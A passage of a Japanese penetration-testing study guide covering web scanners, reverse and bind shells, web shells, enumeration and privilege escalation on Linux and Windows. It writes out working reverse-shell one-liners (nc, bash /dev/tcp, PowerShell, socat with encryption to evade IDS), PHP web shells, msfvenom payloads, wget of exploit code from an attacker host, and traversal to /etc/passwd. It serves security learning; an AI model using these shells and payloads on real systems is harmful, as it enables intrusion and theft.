    • vp…脆弱性のあるプラグインを列挙
    • ap…全てのプラグインを列挙
  • -o…ファイル出力
オプション説明
pプラグインを列挙–enumerate p
tテーマを列挙–enumerate t
uユーザー名を列挙する–enumerate -u
vWPVulnDB を使用して脆弱性を相互参照–enumerate vp
aggressiveWPScan が使用する積極性プロファイル–plugins-detection aggressive

3.13.2. Nikto

Niktoは脆弱性スキャンツールでWebサーバーの設定やインストールされたWebアプリケーションのバージョンなどを調べることができるツール。
Nikto は WPScanと異なり、あらゆる種類のWebサーバを評価できる。

基本的な使い方

nikto -h <IPアドレス | ホスト名>
# HTMLレポートファイルを保存する場合
nikto -h <IPアドレス | ホスト名> -o <レポート名>.html

複数のホストとポートのスキャン

Nmap (デフォルトの Web ポート 80 を使用) で 172.16.0.0/24 (サブネット マスク 255.255.255.0、結果として 254 のホストが考えられる) をスキャンし、次のように Nikto への出力を解析する例は以下の通り。

nmap -p80 172.16.0.0/24 -oG - | nikto -h - 

Niktoのプラグイン

-Pluginオプションで設定する。

プラグイン名説明
apacheusersApache HTTP 認証ユーザーの列挙を試みる
cgi悪用できる可能性のある CGI スクリプトを探す
robotsどのファイル/フォルダーに移動できるかを示す robots.txt ファイルを分析する
dir_traversalディレクトリ トラバーサル攻撃 ( LFI ) を使用してLinux 上の /etc/passwd などのシステム ファイル (http://ip_address/application.php?view=../../../../../../../etc/passwd)を検索しようとする

スキャンの詳細表示

-Display [数字]オプションでNikto スキャンの冗長性を高めることができる。

数字説明使用理由
1Web サーバーによって提供されるリダイレクトを表示Web サーバーは私たちを特定のファイルまたはディレクトリに再配置したい場合があるため、これに応じてスキャンを調整する必要がある
2受信した Cookie を表示するアプリケーションは多くの場合、データを保存する手段として Cookie を使用する。たとえば、Web サーバーはセッションを使用し、電子商取引サイトでは商品を Cookie としてバスケットに保存することがあります。資格情報は Cookie に保存することもできます。
3エラーがあれば出力するこれは、スキャンで期待した結果が返されない場合のデバッグに役立つ

脆弱性検索のためのスキャンの調整

-Tuning [数字]オプションでテストするスキャンを指定できる。

種別名説明数字
ファイルのアップロードファイルのアップロードを許可するものを Web サーバー上で検索する。アプリケーションを実行するためのリバースシェルをアップロードするために使用できる。0
設定ミス/デフォルトファイルWeb サーバー上で機密性の高い (構成ファイルなどアクセスできない) 共通ファイルを検索する。2
情報開示Web サーバーまたはアプリケーションに関する情報 (つまり、バージョン番号、HTTPヘッダー、または後で攻撃に利用するのに役立つ可能性のある情報) を収集する。3
注射XSSや HTML などの何らかのインジェクション攻撃を実行できる可能性のある場所を検索する。4
コマンドの実行OSコマンドの実行 (シェルの生成など)を許可するものを検索する。8
SQLインジェクションSQLインジェクション に対して脆弱な URL パラメータを持つアプリケーションを探す9

3.13.3. Wig

WigはCMSやその他の管理アプリケーションを識別できるWeb アプリケーション情報収集ツール

なお現行(2024年現在)はWappalyzerなどを使用する方が検出が速い。

wig は、「server」ヘッダーと「x-powered-by」ヘッダーに基づいてサーバー上のOSを推測しようとする。さまざまなOSの既知のヘッダー値を含むデータベースがWigに含まれているため、Wigは Microsoft Windows のバージョンと Linux のディストリビューションとバージョンを推測できる。

wig <IPアドレス>

3.13.4. Skipfish

SkipfishはGoogleにより開発されたWebアプリケーション情報収集ツール。
高速な脆弱性スキャンを行うことができる。

基本的な使い方

# 使い方1
skipfish -o <レポート保管先> <対象URL>
# 使い方2
skipfish -W <キーワード辞書の保存先ファイル> -o <レポートの出力先ディレクトリ> <クロールを開始するURL> [<クロールを開始するURL2> ...]

3.13.5. Wapiti

WapitiはCUIベースのWeb脆弱性スキャナーで、データベースインジェクションやXSS、XXEインジェクションなどを検索できる。

基本的な使い方

# モジュール一覧表示
wapiti --list-modules
# スキャンの実行
wapiti -u <URL | IPアドレス> -o <出力ファイル名> -f html

3.13.7. 各CMSにおける確認事項

Wordpress

Wordpressにて確認すべきパスとファイルは以下の通り

# ===============================
# WordPressのバージョン確認
/license.txt

# ログインページ
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php

# データベースのパスワードあり
wp-config.php

# ===============================
# ユーザの列挙
/?author=<数字>

/wp-json/wp/v2/users

またNSEによるユーザ列挙は以下のコマンドで可能。

nmap -p 80 --script http-wordpress-users <IPアドレス>

Drupal

/CHANGELOG.txt

DroopescanによるDrupalのスキャン

# インストール
pip3 install droopescan

# スキャン
droopescan scan drupal -u http://10.10.10.1 -t [スレッド数]

PhpMyAdmin

MySQLサーバをWebブラウザで管理するためのデータベース接続ツール。

Joomla

JoomScanによるJoomlaのスキャン。

sudo joomscan -u <URL>

なおスキャン結果は/usr/share/joomscan/に保存される。

4 - 4.システムの侵入と権限昇格

権限昇格やリバースシェル/NetCat,Socatなど

4.1. 権限昇格

4.1.1. 権限昇格とは

権限昇格は権限の低いアカウントから権限の高いアカウントに移行することを指す。
ペネトレーションテストではOSやアプリケーションの脆弱性、設計上の欠陥、または設定の見落としを悪用してユーザーからのアクセスが制限されているリソースへの不正アクセスを取得することが目的となる。

権限昇格によりシステム管理者レベルのアクセス権が得られ、次のようなアクションを実行できるようになる。

  • パスワードのリセット
  • アクセス権のバイパスによりデータを侵害する
  • 永続化の有効化
  • 既存ユーザ権限の変更
  • 任意の管理者コマンドの実行

4.2. シェル

4.2.1. シェルとは

シェルはコマンドライン環境(CLI)とやり取りするときに使用するもの。 Linux の一般的な bash または sh プログラムは、Windows の cmd.exe や Powershell と同様、シェルの例といえる。

リモートシステムをターゲットにした場合、サーバー (Webサーバなど) 上で実行されているアプリケーションに任意のコードを強制的に実行させることができる場合がある。これが発生する場合、この初期アクセスを使用して、ターゲット上で実行されているシェルを取得しようとペネトレーションテストの側面では考える。

4.2.2. シェルの分類

ログインシェルと非ログインシェル

ログインシェルはユーザがシステムにログインする際に起動するシェル
以下のような特徴がある。

  • ログイン認証後に開始する
  • SSHログイン時/su -コマンドでrootへの切り替え/sudo -iコマンド実行時に起動する
  • 環境変数ファイル(.bash_profile.profile)を読み込む、シェル設定を初期化する
  • /etc/shellsファイルに記載されたものがログインシェルになれる

非ログインシェルはユーザがログインしなくても起動できるシェル
以下のようなものが非ログインシェルとなる。

  • Terminalなどのシェル
  • シェルスクリプト通常実行時/bash -cを実行したとき
  • ログインシェルと異なる環境設定(.bashrc)などを読み込む
  • サブシェルやスクリプト実行に適している

なおログインシェルの見分け方はshopt login_shellコマンドの実行(確実な方法)、echo $0コマンドで-の有無(ありでログインシェル)により判定できる。

対話的シェルと非対話的シェル

シェル説明
対話的シェルユーザがリアルタイム入力に対し、シェルが結果を表示する
非対話型シェルスクリプト実行、パイプライン処理、Cronジョブ、バックグラウンドプロセス処理で使用される

対話型/非対話型シェルの識別方法は以下の方法がある。

  • 特殊変数$-の確認(echo $-)
  • シェル変数PS1の確認(echo PS1)

4.2.3. シェルを利用するためのツール

リバースシェルの受信とバインドシェルの送信に使用するためのツールには以下のようなものがある。

Netcat

NetcatはTCPもしくはUDP接続などを利用して、コマンドラインからデータを送受信するためのツール
シェルで言うと、リバースシェルを受信し、ターゲットシステム上のバインドシェルに接続されたリモートポートに接続するために使用できる。

nc <オプション> <IPアドレス> <ポート>

Socat

Netcatの強化版ツール。Netcatより優れた機能を持つ。

Metasploitの multi/handler モジュール

Metasploitのmulti/handlerモジュールは socat や netcat と同様に、リバース シェルを受信するために使用できる。

Msfvenom

MsfvenomはMetasploitに含まれる機能でペイロードを生成するために使用できるツール。
msfvenom はリバース シェルやバインド シェルなどのペイロードも生成できる。

4.3. シェルの種類

大まかにターゲットの悪用に関してシェルを考えた場合リバースシェルバインドシェルという2種類のシェルに分けられる。
これらは攻撃機とターゲットのどちらが通信を待ち受けしているかが異なる

なおリバースシェルとバインドシェルともに非対話式のシェルになるため、対話型のようにコマンド結果を出力しない

4.3.1. リバースシェル

リバースシェルはリモートホストに接続しに行く通常の通信とは異なる、リモートサーバ(ターゲット)からシェルを渡しに来る通信方法のこと。
通常はクライアント側から通信を要求しアクションをサーバに要求するが、リバースシェルではクライアント側にアクションをするように仕向けさせることでサーバへシェルの実行を要求することができる。

接続の際は、自らの接続元で任意のポートをlistenしリモートサーバがアクセスしに来る形を取るため、リモートサーバ側のファイアウォールで設定されているINPUT通信制御に関係なく接続可能

ncコマンドを利用したリバースシェル

攻撃機からシェルを打てるようにncコマンドを用いてシェルを待ち受ける設定例である。
攻撃マシンでリッスンし、ターゲットから接続の待ち受けを送信しているのが特徴となる。

  1. 攻撃機で以下のように待ち受ける
    • sudo nc -lvnp 443
  2. ターゲットで以下のようにシェルを打つ
    • nc <IPアドレス> <ポート> -e /bin/bash
    • nc <IPアドレス> <ポート> -c bash
  3. 攻撃機でターゲットのユーザでシェルを打てるようになる

bashコマンドを利用したリバースシェル

攻撃機からシェルを打てるようにbashコマンドを用いてシェルを待ち受ける設定例である。

  1. 攻撃機で以下のように待ち受ける
    • sudo nc -lvnp 4444
  2. ターゲットで以下のようにシェルを打つ(以下のどちらか)
    • bash -c "bash -i >& /dev/tcp/<IPアドレス>/4444 0>&1"
    • bash -c 'exec bash -i &> /dev/tcp/<IPアドレス>/4444 <&1'
  3. 攻撃機でターゲットのユーザでシェルを打てるようになる

PHPのリバースシェル

PHPにおけるリバースシェルの例は以下の通り。

# WEBリバースシェル(.php)
# クエリパラメータは?cmd=hogehoge
<?php echo system($_REQUEST ["cmd"]); ?>
<?php echo(system($_GET["cmd"])); ?>

4.3.2. バインドシェル

バインドシェルはターゲットのシステムで特定のポートをオープンして待機し攻撃者がそのポートに接続したときにシェルを提供する通信方法のこと。 簡単に言うと攻撃端末側からターゲット端末に接続し遠隔操作を行うもの
シェルにアタッチされたlistenerをターゲット上で直接開始する特徴がある。

バインドシェルはターゲットの通信経路中のファイヤーウォールやルータにブロックされやすい。

ncコマンドを利用したバインドシェル

攻撃機からシェルを打てるようにncコマンドを用いてシェルを待ち受ける設定例である。
ターゲットで接続をリッスンし、攻撃マシンからターゲットに接続しているのが特徴となる。

なおターゲットがWindowsの場合の例である。

  1. ターゲットで以下のように待ち受ける
    • nc -lvnp <ポート> -e "cmd.exe"
  2. ターゲットで以下のようにシェルを打つ
    • nc <IPアドレス> <ポート>
  3. 攻撃機でターゲットのユーザでシェルを打てるようになる

4.3. NetCatを利用したシェル

4.3.1. NetCatによるリバースシェルとバインドシェル

リバースシェル

LinuxでNetcat Listenerを開始するコマンドは以下の通り。

nc -lvnp <ポート番号>
  • -l … Listener宣言
  • -v … 詳細な出力
  • -n … netcat にホスト名を解決したり、DNSを使用したりしないようにする
  • -p … ポート指定が続くことを示す

ポート番号は使用しているサービスがかぶっていない番号で使用可能で、またターゲット上の送信ファイアウォールルールを通過する可能性が高いため、既知のポート番号 (80、443、または 53 が適切な選択) を使用するのが良い。

バインドシェル

ターゲット上でバインドシェルを取得しようとしている場合は、ターゲットの選択したポート上ですでにリスナーが待機していると想定される。
そのため以下コマンドで接続を行う。

nc <IPアドレス> <ポート>

4.3.2. Netcatにおけるシェルの安定化

Netcatによるシェルはデフォルトでは非常に不安定となる。
これはCtrl + C を押すとすべてが強制終了されるためである。

Linuxシステム上で netcat シェルを安定させる方法には以下のテクニックがある。

Pythonによる安定化

以下の手順により安定化できる。

  1. nc -lvnp <ポート番号>で接続する
  2. pythonN -c 'import pty;pty.spawn("/bin/bash")'(Nはバージョン)によりbash生成を宣言する
  3. export TERM=xtermを入力しclearなどシェルと対話できるようにする
  4. Ctrl + Zを押してシェルをバックグラウンドにする
  5. stty raw -echo; fgでターミナルに戻る

なお、シェルが終了すると自分のターミナルの入力が表示されなくなるためresetと入力してEnter キーを押すことで解決できる。

rlwrapによる安定化

rlwrapはシェルを受信するとすぐに履歴、タブのオートコンプリート、および矢印キーにアクセスできるようにするプログラムのこと。
rlwrap を使用するには、少し異なるリスナーを呼び出す。

rlwrap nc -lvnp <ポート番号>
# または
rlwrap -c -pCyan nc -lvnp <ポート番号>

Linuxターゲットを扱う場合Pythonによる安定化と同じ仕組みを使用して、完全に安定化することができます。
Ctrl + Zを使用してシェルをバックグラウンドにし、stty raw -echo; fgを入力して安定化してシェルに再度入るために使用できる。

具体的手順は以下の通り。

  1. 攻撃端末の待ち受け側でrlwrap -c -pCyan nc -lvnp <ポート番号>を実行
  2. ターゲット端末でnc <IPアドレス> <ポート番号> -e /bin/bashを実行
  3. 攻撃端末でpython -c 'import pty; pty.spawn("/bin/sh")'によりTTYシェルを奪取する

4.5. SoCatを利用したシェル

4.5.1. SoCatによるリバースシェルとバインドシェル

リバースシェル

以下のコマンドはnetcatのnc -lvnp <ポート番号>と同等のコマンドとなる。

socat TCP-L:<ポート番号> -

# Linuxのみ使える安定板
socat TCP-L:<ポート番号> FILE:`tty`,raw,echo=0
# Windowsの場合
socat TCP:<ローカルIP>:<ポート番号> EXEC:powershell.exe,pipes
# Linuxの場合
socat TCP:<ローカルIP>:<ポート番号> EXEC:"bash -li"

バインドシェル

# Linuxの場合
socat TCP-L:<ポート番号> EXEC:"bash -li"
# Windowsの場合
socat TCP-L:<ポート番号> EXEC:powershell.exe,pipes

# 攻撃側のマシンで待機中のリスナーに接続
socat TCP:<ターゲットのIP>:<ポート番号> -

4.5.2. SoCatの暗号化シェル

socat の優れた点の 1 つは、暗号化されたシェル (バインドとリバースの両方) を作成できることにある。
これは暗号化されたシェルは復号キーを持っていない限り復号することができず、その結果として多くの場合IDSを通過できるためである。

リバースシェルにおける暗号化シェルの作成例

手順は以下の通り。

  1. 証明書を生成する
    • openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
  2. 公開鍵と秘密鍵を1つのファイルにマージする
    • cat shell.key shell.crt > shell.pem
  3. リバースシェルリスナーを設定する
    • socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
  4. 再度接続する場合はsocat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bashで可能

バインドシェルにおける暗号化シェルの作成例

なお証明書はリスナーで使用する必要があるため、バインド シェル用に PEM ファイルをターゲット側にコピーする必要がある。

# ターゲット
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
# 攻撃機
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

4.5.3. 通常のシェルペイロード

リバースシェルのペイロードを含むサイトはコチラから。

Netcatによるシェルペイロード

# バインドシェルの場合
nc -lvnp <ポート> -e /bin/bash
# リバースシェルの場合
nc <ローカルIP> <ポート> -e /bin/bash

バインドシェルリスナーの生成

mkfifo /tmp/f; nc -lvnp <ポート> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

WindowsServerの場合のPowershellリバースシェル

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('[IPアドレス]',[ポート番号]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

4.6. Metasploitを利用したシェル

4.6.1. Msfvenom

MsfvenomはMetsaploitの中でもリバースシェルとバインドシェルのコードを生成するために使用されるモジュール
バッファオーバーフローエクスプロイトのようなものを開発するときの 16 進数のシェルコードを生成するような低レイヤレベルのエクスプロイト開発で広く使用される。

ペイロードは<OS>/<アーキテクチャ>/<ペイロード>に従い命名する

msfvenomの基本コマンド

msfvenom -p <ペイロード> <オプション>

例としてWindows x64 リバースシェルを exe 形式で生成する場合のコマンドは以下の通り。

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<待ち受けIPアドレス> LPORT=<待ち受けポート番号>

ステージペイロード/ステージレスペイロード

リバースシェルペイロードにはステージペイロードステージレスペイロードの2つがある

  • ステージペイロード * ペイロードは 2 つの部分に分けて送信される(1つ目はステージャと呼ばれるサーバー自体で直接実行されるコード) * ステージャ自体にはリバースシェルは含まれない * ステージャはリスナーに接続し、その接続を使用し実際のペイロードをロード/直接実行して、従来のウイルス対策ソリューションでキャッチされる可能性のあるディスクにアクセスするのを防ぐ
  • ステージレスペイロード * 自己完結型の1つのペイロードでオーソドックスなもの * 実行されると待機中のリスナーにすぐにシェルを送り返すコードが 1 つあるのみとなる * サイズが大きいためウイルス対策プログラムや侵入検知プログラムが検出して削除されやすい

msfvenomペイロードの検索方法

msfvenom --list payloads | grep "単語"

4.6.2. Metaploit Multi/Handler

Multi/Handlerはリバースシェルをキャッチするためのツール
このツールはMeterpreterシェルを使用する場合に必要であり、ステージングされたペイロードを使用する場合に役に立つ

起動方法

  1. msfconsole
  2. use multi/handerでEnter

使用方法

  • optionsコマンドで使用できるオプションを確認できる
  • set PAYLOAD <payload>でペイロードの設定
  • set LHOST <待ち受けアドレス>でリスニングアドレスの設定
  • set LPORT <listen-port>でリスニングポートの設定

上記で設定したらexploit -jにより実行。 sessions <番号>でフォアグラウンドで実行する。

4.7. Webシェル

Webシェルはリバースシェルやバインドシェルをアクティブにするコードをアップロードすることができないときに使用されるシェル。

4.7.1. Webシェルとは

WebシェルはWebサーバで実行されサーバ上でコードを実行するスクリプトを表す。

基本的に、コマンドはHTMLフォーム経由、またはURL 内の引数として直接Webページに入力/実行され、結果が返されてページに書き込まれることになる。

4.7.2. php-reverse-shell

Penntestmonkeyが開発したWebのリバースシェルのコード。 kaliの場合、/usr/share/webshells/php/php-reverse-shell.phpに保存されている。

利用方法

  1. 以下手順の実施
# 対象のフォルダーにコピー
cp /usr/share/webshells/php/php-reverse-shell.php revshell.php
# 編集
vi revshell.php
  1. 編集の以下の部分を変更する。
$ ip = '127.0.0.1'; // これを変える
$ port = 4444; // これを変える
  1. netcatで待ち受ける。
nc -lvnp 4444
  1. 何らかの方法でこのペイロードをサーバにアップロードして駆動する

4.7.2. 各サーバサイドにおけるリバースシェル

PHPの場合

下記コードは URL 内の GET パラメータを取得/使用してシステム上でコードを実行するものとなる。

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

上記の場合URLのクエリパラメータに?cmd=<コマンド>を渡すことでページ結果が表示される。

4.8. エクスプロイトのアップロード

4.8.1. ローカルにWEBサーバを立ててアップロードする

Exploit DBのペイロードをターゲットにアップロードして実行する方法である。

# 以下コマンドで攻撃機にWEBサーバを立てる
python3 -m http.server [ポート番号]

# ターゲットのシェルからコードを/tmpにダウンロードする
wget http://[攻撃機のIP]:[ポート番号]/[エクスプロイトコード] -P /tmp/

5 - 5.Linuxの侵入と権限昇格

Linuxシステムに対する侵入する際のポイント

5.1. Linuxシステムの列挙

列挙はシステムにアクセスした後に実行する必要がある最初の作業となる。

脆弱性を悪用してシステムにアクセスし、その結果 root レベルのアクセスが行われたか、低い特権アカウントを使用してコマンドを送信する方法を見つける可能性がある。
列挙は侵害前と同様に侵害後のフェーズでも重要となる。

5.1.1. マシンに関する情報の列挙

Linuxマシンに関する情報の列挙に役立つコマンド/ファイルなどを記載する。

hostnameコマンド

ターゲットマシンのホスト名を表示するコマンド。
企業ネットワーク内でのマシンの場合、ホスト名にターゲットシステムの役割に関する情報が含まれている場合がある。

hostname

uname -aコマンド

システム情報を出力して、システムで使用されているカーネルに関する追加の詳細を表示するコマンド。
特権昇格につながる可能性のあるカーネルの潜在的な脆弱性を検索するときに役立つ。

uname -a

cat /etc/*-releaseコマンド

cat /etc/*-release

/etc/hostsファイル

ネットワーク上のホスト名とIPアドレスの対応関係を定義するファイル。
このファイルにはローカルネットワーク内のコンピューター名やドメイン名とそれに対応するIPアドレスがリストされている。

/proc/versionファイル

ターゲットシステムのプロセスに関する情報が記載されているファイル。
カーネルのバージョンに関する情報や、コンパイラ (GCC など) がインストールされているかどうかなどの追加データが得られる場合がある。

cat /proc/version

/proc/self/environファイル

環境変数一覧が格納されたファイル。

/etc/issueファイル

システムを識別することができるファイル。

cat /etc/issue

パッケージファイルの確認

# Debian系
rpm -qa
dpkg -l

定期実行(cron)の確認

crontab -l
ls -la /etc/cron*
ls -la /var/spool/cron/*

一時ファイルの確認

cd /tmp
cd /dev/shm
cd /var/tmp

psコマンド

Linux システム上で実行中のプロセスを確認できるコマンド。

# 実行中のプロセスを確認できる
ps
# 全てのプロセスを表示
ps -A
# プロセスツリーの表示
ps axjf
# すべてのユーザーのプロセスが表示
ps aux

envコマンド

環境変数を表示するコマンド。
PATH 変数には、ターゲットシステム上でコードを実行したり、特権昇格に利用したりするために使用できるコンパイラまたはスクリプト言語が含まれる場合がある。

env

sudo -lコマンド

ユーザーがsudoを使用して実行できるすべてのコマンドをリストできるコマンド。

sudo -l

idコマンド

ユーザーの特権レベルとグループ メンバーシップの概要を表示するコマンド。

id <ユーザ名>

/etc/passwdファイル

システム上のユーザを発見できる。

cat /etc/passwd

historyコマンド

コマンド履歴を確認できるコマンド。

history

ifconfigコマンド

システムのネットワークインターフェイスに関する情報が取得できるコマンド。
別のネットワークへのアクセスヒントになりえる。

ifconfig

ip routeコマンド

ネットワークルートが存在するかを確認できるコマンド。

ip route

netstatコマンド

# 全てのリスニングポートと接続の確立の表示
netstat -a
# 上記をTCP/UDPで分けて表示
netstat -at
netstat -au
# リスニングモードのポートを表示(待ち受け)
netstat -l

# ネットワーク賞の統計表示
netstat -s/-t
# サービス名/PIDを含むリスト表示
netstat -tpl
# インターフェースの統計情報を表示
netstat -i

ssコマンド

# 全てのリスニングポートと接続の確立の表示
ss -a

# TCP/UDPで分けて表示
# TCP
ss -at
# UDP
ss -au

# リスニングモードのポートを表示 (待ち受け)
ss -l

# TCPリスニングポートのみ
ss -lt
# UDPリスニングポートのみ
ss -lu

# ネットワーク層の統計表示
ss -s

# サービス名/PIDを含むリスト表示
ss -tpl

# インターフェースの統計情報を表示
ip -s link

findコマンド

ファイルを絞り込み表示/検索できるコマンド。

find [場所] -name [名称]

find / -type d -name [ディレクトリ名]

find / -type f -perm 0777 # 全ユーザが読み取り、書き込み、実行可能なファイルを検索

find / -perm a=x # 実行可能ファイルの検索

find /home -user frank # ユーザー「frank」のすべてのファイルを「/home」の下で検索
find / -mtime 10 # 過去 10 日間に変更されたファイルを検索
find / -atime 10 # 過去 10 日間にアクセスされたファイルを検索
find / -cmin -60 # 過去 1 時間 (60 分) 以内に変更されたファイルを検索
find / -amin -60 # 過去 1 時間 (60 分) 以内にアクセスしたファイルを検索
find / -size 50M # サイズが 50 MB のファイルを検索

# 誰でも書き込み可能なフォルダーを検索
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

# SUID ビット(ファイル所有者権限を引き継いで実行するパーミッション)を持つファイルを検索
# これにより、現在のユーザーよりも高い特権レベルでファイルを実行できるようになる
find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f -user root 2>/dev/null

その他コマンド

# 現在のユーザグループ表示
groups
# バイナリファイルや非表示文字列を含むファイルから可読なテキスト(ASCIIまたはUnicode文字列)を抽出
strings <ファイル>
# バイナリファイル(.bin)を16進数形式(HEXダンプ)に変換
xxd <バイナリファイル>  # バイナリファイルを16進数で表示
xxd -p <バイナリファイル>  # 簡潔な16進数表示
xxd -r <ヘクサナリファイル> > <バイナリファイル>  # HEXダンプをバイナリに戻す

5.1.2. システム設定不備の調査

SUID(SGID)

SUID(ファイルの所有者権限で操作可能パーミッション)が設定されているか確認。 ユーザにsがついていればSUID、グループにsがついていればSGIDとなる。

$ls -l /usr/bin/cron
-rwsr-xr-x 1 root root 14720 Apr 22 2023 /usr/bin/cron

5.1.3. Linux向け自動列挙ツール

ツールを使用すると、列挙プロセスの時間を節約できる。
ただし、これらのツールは、一部の権限昇格ベクトルを見逃す可能性がある。

5.2. Linuxシステムのシェル奪取

5.2.1. 各ケースにおけるシェルの奪取

shellコマンド

通常の実行権限が奪える場合がある。 なお、対話文字は表示されない。

shell

対話的シェルの奪取

以下手順で対話的シェルを奪取できる。

which python
/usr/bin/bash
python -c 'import pty; pty.spawn("/bin/bash")'

以下でも可能。

/bin/bash -i

5.3. Linuxシステムの権限昇格

5.3.1. Linuxシステムのローカル権限昇格

Linuxのローカル権限昇格に関してはGTFObinsのサイトが有用となる。

5.3.2. linpeas.sh(Linux Privilege Escalation Awesome Scripts)

linpeas.shはLinuxシステム上で権限昇格の可能性を検出するための自動スクリプト
このスクリプトを使うと、システム内の潜在的な脆弱性や誤設定をチェックすることができる。

https://github.com/peass-ng/PEASS-ng

sudo apt install peass

使い方

# linpeas.shがあるフォルダに移動
cd /usr/share/peass/linpeas
# httpサーバを立てる
python3 -m http.server 5000

# ターゲット端末でダウンロード
wget [攻撃端末のIPアドレス]:5000/linpeas.sh
# 実行権限付与
chmod +x linpeas.sh
# 実行と結果の保存
./linpeas.sh | tee linpeas_output.txt

6 - 6.Windowsの侵入と権限昇格

Windowsシステムに対する侵入する際のポイント

6.1. Windowsシステムの列挙

6.1.1. マシンに関する情報の列挙

systeminfoコマンド

システム情報の表示。

systeminfo

tasklist /svcコマンド

起動しているプロセスのすべてのサービスを一覧表示。

tasklist /svc

sc queryコマンド

サービスの状態表示。

sc query <サービス名>

各種列挙コマンド

# 権限の確認
whoami /priv
# ユーザアカウント一覧表示
net user
# ユーザグループ一覧表示
net localgroup

6.1.2. システム設定不備の調査

「常にシステム特権でインストールする」設定が有効か確認する

# レジスタを確認
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCV\Software\Policies\Microsoft\Windows\Installer

パーミッションの設定確認

sc queryコマンドを駆使して、BINARY_PATH_NAMEの書き換え権限を調査し、権限昇格を狙える。

# 実行中サービス表示
sc query
# サービス名のみを取得
sc query | findstr /B SERVICE_NAME
# サービスの詳細を確認
sc query <サービス名>

6.1.3. Windowsの特性

Unquoted Path

Windowsではパスが指定されるとき、パスにスペースが含まれている場合、クォートで区切らないと、各スペースを区切りとして実行ファイルを順に探す性質がある。

例:) C:\Program Files\Example Prog\Common Program\exploit.exeがクォートを使用せずに指定される場合。

以下順序で実行できるかWindowsは試行する。

  1. C:\Program.exe
  2. C:\Program Files\Example.exe
  3. C:\Program Files\Example Prog\Common.exe
  4. C:\Program Files\Example Prog\Common Program\exploit.exe

これはExample.exeやCommon.exeを階層に配置できればSYSTEM権限で実行させることができることを示す

Windowsのパスワード

Windowsのパスワードは以下2種類で構成される。
ハッシュはWCEmimikatzpwdumpで解析可能。
現在はkeroberos認証が推奨されている。

  • 格納場所

    • SAMデータベース: C:\Windows\System32\config\SAM
    • LSASSプロセス
    • AD DSデータベース: NTDS.dit
    • 資格情報マネージャストア
  • NTLMハッシュ

    • 使用時期
      • Windows NT以降
    • アルゴリズム
      • Unicode(UTF-16),Saltなし,大文字小文字区別あり
      • MD4でハッシュ化(SHA-256より脆弱)
      • 生成されるNTLMハッシュは16Byte
  • LMハッシュ

    • 使用時期
      • Windows NT以前(Windows 95/98など)およびWindows NT 4.0
    • アルゴリズム
      • ASCII,Salitなし
      • パスワード長は14文字まで(14文字未満の場合はゼロパディング)
      • 小文字を大文字に変換する
      • パスワードを7文字ずつ分割後、KGS!@#$%という定数文字列を使用しDESで暗号化
      • 得られた2つの文字列を連結しLMハッシュを生成
    • 攻撃に対して非常に脆弱
      • レインボーテーブル攻撃に非常に弱い
      • 短いパスワードの分割攻撃が可能
  • Metasploitによるパスワードハッシュ取得

    • metapreter>hash dump
    • metapreter>run hashdump

6.1.4. Windows向け自動列挙ツール

ツールを使用すると、列挙プロセスの時間を節約できる。
ただし、これらのツールは、一部の権限昇格ベクトルを見逃す可能性がある。

6.2. Windowsシステムのシェル剥奪

6.3. Windowsシステムの権限昇格

6.3.1. Windowsシステムのローカル権限昇格

Windowsのローカル権限昇格に関してはLOLBASのサイトが有用となる。

7 - 7.脆弱性の調査

脆弱性の調べ方およびMetaSploitに関して

7.1. 脆弱性の基礎知識

7.1.1. 脆弱性とは

サイバーセキュリティにおける脆弱性はシステムやアプリケーションの設計、実装、動作における弱点や欠陥として定義されている。
攻撃者はこれらの弱点を悪用して、不正な情報にアクセスしたり、不正なアクションを実行したりする可能性がある。

「脆弱性」という用語はサイバーセキュリティ団体の数だけ定義があるが、NISTは脆弱性を「情報システム、システム セキュリティ手順、内部統制、または実装における脆弱性であり、脅威源によって悪用または引き起こされる可能性があるもの」と定義している。

脆弱性には5つの主要なカテゴリがある。

脆弱性の箇所説明
OSこの種の脆弱性はOS内で見つかり、多くの場合は権限昇格が発生する
設定ファイルの誤設定この種の脆弱性は正しく構成されていないアプリケーションまたはサービスに起因する
弱い認証情報/デフォルトの認証情報容易に推測できるログイン情報のサイトなどがこれにあたる
アプリケーションのロジックこれらの脆弱性はアプリケーションの設計が適切でなかったために発生する。認証メカニズムの不十分な実装など
人間の脆弱性人間の行動を悪用する脆弱性のこと。たとえばフィッシングメールなど

7.1.2. 脆弱性のスコアリング

脆弱性管理は組織が直面する脅威 (脆弱性) を評価、分類し、最終的に修復するプロセスといえる。
ネットワークやコンピュータシステムのすべての脆弱性にパッチを適用して修正することはおそらく不可能であり、場合によってはリソースの無駄になってしまう。

ある調査によると最終的に悪用されるのは脆弱性は全体のうち約2%だと言われている。
脆弱性の対処には最も危険な脆弱性に対処し、攻撃がシステムの悪用に使用される可能性を減らすことが重要となる。

脆弱性スコアリングは脆弱性管理において重要な役割を果たし、脆弱性がネットワークまたはコンピュータシステムに与える可能性のある潜在的なリスクと影響を判断するために使用される。

CVSS

CVSS(Common Vulnerability Scoring System)は2005年に導入された脆弱性スコアリングのための脆弱性評価システム。 CVSSにより脆弱性の深刻度を同一基準化で定量的に比較することが可能となっている。

評価基準は以下の3つある。

